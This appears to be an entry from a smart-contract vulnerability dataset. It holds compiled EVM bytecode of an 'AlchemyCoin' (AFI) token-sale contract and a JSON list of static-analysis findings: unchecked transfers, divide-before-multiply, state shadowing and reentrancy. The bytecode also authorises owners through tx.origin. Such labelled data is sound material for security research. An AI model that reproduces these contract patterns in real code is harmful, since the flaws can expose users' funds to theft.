0dd4578063e43252d714610e4b578063ec67e37a14610e8e578063ec8ac4d814610ee5578063f2fde38b14610f1b578063fc0c546a14610f5e578063feb088ab14610fb5575b61027b33610fe0565b005b34801561028957600080fd5b506102c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611117565b005b3480156102d657600080fd5b506102f560048036038101908080359060200190929190505050611330565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034357600080fd5b5061034c61136e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038c578082015181840152602081019050610371565b50505050905090810190601f1680156103b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d357600080fd5b50610412600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113a7565b604051808215151515815260200191505060405180910390f35b34801561043857600080fd5b50610441611499565b6040518082815260200191505060405180910390f35b34801561046357600080fd5b5061046c61149f565b005b34801561047a57600080fd5b506104836117bb565b6040518082815260200191505060405180910390f35b3480156104a557600080fd5b506104ae6117c1565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b5061052f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117cb565b604051808215151515815260200191505060405180910390f35b34801561055557600080fd5b5061057460048036038101908080359060200190929190505050611894565b005b34801561058257600080fd5b5061058b611bf8565b6040518082815260200191505060405180910390f35b3480156105ad57600080fd5b506105b6611bfe565b6040518082815260200191505060405180910390f35b3480156105d857600080fd5b506105e1611c04565b005b3480156105ef57600080fd5b506105f8611e1b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561062057600080fd5b50610629611e20565b005b34801561063757600080fd5b50610640612037565b6040518082815260200191505060405180910390f35b34801561066257600080fd5b5061066b61203d565b6040518082815260200191505060405180910390f35b34801561068d57600080fd5b506106c2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612043565b005b3480156106d057600080fd5b506106d9612139565b6040518082815260200191505060405180910390f35b3480156106fb57600080fd5b5061070461213f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561075257600080fd5b5061075b612165565b6040518082815260200191505060405180910390f35b34801561077d57600080fd5b506107bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061216b565b604051808215151515815260200191505060405180910390f35b3480156107e257600080fd5b506107eb6123fc565b604051808215151515815260200191505060405180910390f35b34801561081157600080fd5b5061081a61242e565b6040518082815260200191505060405180910390f35b34801561083c57600080fd5b50610871600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612434565b6040518082815260200191505060405180910390f35b34801561089357600080fd5b5061089c61247d565b6040518082815260200191505060405180910390f35b3480156108be57600080fd5b506108c7612483565b6040518082815260200191505060405180910390f35b3480156108e957600080fd5b5061091e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612489565b005b34801561092c57600080fd5b5061095960048036038101908080359060200190820180359060200191909192939192939050505061277c565b005b34801561096757600080fd5b506109706128d4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109be57600080fd5b506109c76128f9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a075780820151818401526020810190506109ec565b50505050905090810190601f168015610a345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a4e57600080fd5b50610a83600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612932565b604051808215151515815260200191505060405180910390f35b348015610aa957600080fd5b50610aca600480360381019080803515159060200190929190505050612952565b005b348015610ad857600080fd5b50610b17600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a21565b604051808215151515815260200191505060405180910390f35b348015610b3d57600080fd5b50610b46612ae8565b6040518082815260200191505060405180910390f35b348015610b6857600080fd5b50610b9d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612aee565b6040518082815260200191505060405180910390f35b348015610bbf57600080fd5b50610bc8612b06565b6040518082815260200191505060405180910390f35b348015610bea57600080fd5b50610bf3612b12565b604051808215151515815260200191505060405180910390f35b348015610c1957600080fd5b50610c4e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b1e565b6040518082815260200191505060405180910390f35b348015610c7057600080fd5b50610c79612b36565b604051808215151515815260200191505060405180910390f35b348015610c9f57600080fd5b50610ca8612b49565b6040518082815260200191505060405180910390f35b348015610cca57600080fd5b50610ce960048036038101908080359060200190929190505050612b4f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d3757600080fd5b50610d76600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612b8d565b604051808215151515815260200191505060405180910390f35b348015610d9c57600080fd5b50610da5612d89565b005b348015610db357600080fd5b50610dd260048036038101908080359060200190929190505050612f58565b005b348015610de057600080fd5b50610e35600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613014565b6040518082815260200191505060405180910390f35b348015610e5757600080fd5b50610e8c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061309b565b005b348015610e9a57600080fd5b50610ea3613329565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610f19600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fe0565b005b348015610f2757600080fd5b50610f5c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061334f565b005b348015610f6a57600080fd5b50610f736134fb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610fc157600080fd5b50610fca613521565b6040518082815260200191505060405180910390f35b6000806000349250610ff28484613527565b610ffb8361358f565b915061100784836135de565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188585604051808381526020018281526020019250505060405180910390a361107d836135f5565b90506110898482613687565b61109e8160155461387a90919063ffffffff16565b6015819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8e8bc816f87d50bb7f680a86eb83fb8699e5fa1f08cc369aaf963247aea13602836040518082815260200191505060405180910390a3611111613893565b50505050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111c157506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b15156111cc57600080fd5b6111d68484613527565b6111df8361358f565b91506111eb84836135de565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188585604051808381526020018281526020019250505060405180910390a361129e601054611290670de0b6b3a7640000611282601354600a0a886138fe90919063ffffffff16565b61393690919063ffffffff16565b6138fe90919063ffffffff16565b90506112aa8482613687565b6112bf8160155461387a90919063ffffffff16565b6015819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8e8bc816f87d50bb7f680a86eb83fb8699e5fa1f08cc369aaf963247aea13602836040518082815260200191505060405180910390a350505050565b60078181548110151561133f57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600b81526020017f416c6368656d79436f696e00000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600f5481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061154957506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b151561155457600080fd5b42600f541115151561156557600080fd5b600091505b6007805490508210156117b7576005600060078481548110151561158a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60078481548110151561163f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156116f057600080fd5b505af1158015611704573d6000803e3d6000fd5b505050506040513d602081101561171a57600080fd5b81019080805190602001909291905050505060006005600060078581548110151561174157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818060010192505061156a565b5050565b601a5481565b6000600354905090565b600082601660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561182657600080fd5b84601660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561187f57600080fd5b61188a86868661394c565b5050509392505050565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061194157506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b151561194c57600080fd5b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350600092505b601954831015611bf1573073ffffffffffffffffffffffffffffffffffffffff166018848154811015156119a657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156119f257611be4565b611a9c600860ff16600a0a630773594002611a8e601d6000601888815481101515611a1957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054886138fe90919063ffffffff16565b61393690919063ffffffff16565b9150601a54821115611be3578373ffffffffffffffffffffffffffffffffffffffff1660405180807f7472616e73666572526576656e756528616464726573732c75696e7432353629815250602001905060405180910390207c01000000000000000000000000000000000000000000000000000000009004601885815481101515611b2457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506000604051808303816000875af192505050905060011515811515141515611be257600080fd5b5b5b8280600101935050611976565b5050505050565b600b5481565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611cab57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b1515611cb657600080fd5b600e5442111515611cc657600080fd5b6000601454111515611cd757600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166014546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611dc057600080fd5b505af1158015611dd4573d6000803e3d6000fd5b505050506040513d6020811015611dea57600080fd5b810190808051906020019092919050505050611e1360145460145461387a90919063ffffffff16565b601481905550565b600881565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611ec757506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b1515611ed257600080fd5b600f5442111515611ee257600080fd5b6000601554111515611ef357600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166015546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611fdc57600080fd5b505af1158015611ff0573d6000803e3d6000fd5b505050506040513d602081101561200657600080fd5b81019080805190602001909291905050505061202f60155460155461387a90919063ffffffff16565b601581905550565b60105481565b60125481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806120ea57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b15156120f557600080fd5b80601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c5481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561227c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612310565b61228f838261387a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600c54421080156124105750600b5442115b806124295750600e54421080156124285750600d5442115b5b905090565b60145481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601c5481565b60195481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061253257506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b151561253d57600080fd5b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612778576001601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054039050601860016019540381548110151561263657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660188281548110151561267057fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060186001601954038154811015156126ce57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612771600160195461387a90919063ffffffff16565b6019819055505b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061282557506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b151561283057600080fd5b600090505b828290508110156128cf57600160166000858585818110151561285457fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050612835565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f414649000000000000000000000000000000000000000000000000000000000081525081565b60166020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806129f957506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b1515612a0457600080fd5b80600460006101000a81548160ff02191690831515021790555050565b600082601660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612a7c57600080fd5b33601660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612ad557600080fd5b612adf8585613d27565b50505092915050565b60155481565b60056020528060005260406000206000915090505481565b67016345785d8a000081565b6000600e544211905090565b601d6020528060005260406000206000915090505481565b600460009054906101000a900460ff1681565b600e5481565b601881815481101515612b5e57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000612c1e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613f6790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612e3257506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b1515612e3d57600080fd5b43601c81905550600090505b601954811015612f555760016000601883815481101515612e6657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601d6000601884815481101515612edf57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080600101915050612e49565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612fff57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b151561300a57600080fd5b80601a8190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061314257506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b151561314d57600080fd5b6001601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415613326576019546018805490501115156132685760188190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506132c3565b80601860195481548110151561327a57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6132d96001601954613f6790919063ffffffff16565b601981905550601954601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806133f657506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b151561340157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561343d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b81601660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561358057600080fd5b61358a8383613f83565b505050565b60006135d7600a546135c9670de0b6b3a76400006135bb601354600a0a876138fe90919063ffffffff16565b61393690919063ffffffff16565b6138fe90919063ffffffff16565b9050919050565b6135e781613feb565b6135f18282614010565b5050565b60008060009050600b544211801561360e5750600c5442105b1561361d57601154905061363b565b600d544211801561362f5750600e5442105b1561363a5760125490505b5b61367f81613671670de0b6b3a7640000613663601354600a0a886138fe90919063ffffffff16565b61393690919063ffffffff16565b6138fe90919063ffffffff16565b915050919050565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156137735761372b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613f6790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613876565b6001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060078290806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600082821115151561388857fe5b818303905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156138fb573d6000803e3d6000fd5b50565b6000808314156139115760009050613930565b818302905081838281151561392257fe5b0414151561392c57fe5b8090505b92915050565b6000818381151561394357fe5b04905092915050565b6000600460009054906101000a900460ff16151561396957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156139a557600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156139f357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515613a7e57600080fd5b613ad082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461387a90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b6582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613f6790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613c3782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461387a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600460009054906101000a900460ff161515613d4457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515613d8057600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515613dce57600080fd5b613e2082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461387a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613eb582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613f6790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008183019050828110151515613f7a57fe5b80905092915050565b600e544211151515613f9457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515613fd057600080fd5b67016345785d8a00008110151515613fe757600080fd5b5050565b600e544211151515613ffc57600080fd5b806014541015151561400d57600080fd5b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156140d557600080fd5b505af11580156140e9573d6000803e3d6000fd5b505050506040513d60208110156140ff57600080fd5b8101908080519060200190929190505050506141268160145461387a90919063ffffffff16565b60148190555050505600a165627a7a7230582007003d53033ee861163c8608793900918a852649996f849cf5c796f4e51368d50029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,005
